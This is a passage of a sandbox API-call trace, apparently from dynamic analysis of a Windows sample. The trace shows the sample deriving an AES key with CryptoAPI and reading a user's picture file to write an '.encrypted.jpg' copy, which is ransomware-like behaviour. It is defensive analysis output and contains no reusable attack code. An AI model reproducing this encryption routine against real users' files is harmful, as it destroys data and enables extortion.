lpWideCharStr=0xe8f4068c90, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\fYbDf-gD6aNdufc.jpg") returned 65 [0028.213] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.213] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.213] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.213] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.214] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.214] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.214] CloseHandle (hObject=0x1fc) returned 1 [0028.214] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.214] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.214] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.214] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.214] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.214] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.214] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.214] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.215] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.215] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.215] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.215] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.215] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.215] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.216] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.216] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.216] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.216] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.216] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.216] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.216] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.217] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.217] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.217] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.217] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.217] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.217] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.217] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.217] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.217] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.217] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.217] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.217] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b840, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.218] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.218] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.218] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.218] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.218] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.218] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0028.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.218] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.218] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.218] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.218] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.218] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0028.219] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.220] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\fYbDf-gD6aNdufc.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\fybdf-gd6andufc.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.220] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.220] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.220] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.221] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2")) returned 0x10 [0028.221] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\fYbDf-gD6aNdufc.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\fybdf-gd6andufc.encrypted.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.221] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.221] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.221] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.221] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.223] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.223] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0028.224] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x228f, lpOverlapped=0x0) returned 1 [0028.224] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.227] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.227] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.227] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.227] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.228] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.228] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.228] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.228] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.229] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.229] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.229] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.229] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.229] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064b60, pdwDataLen=0xe8f3dfd858, 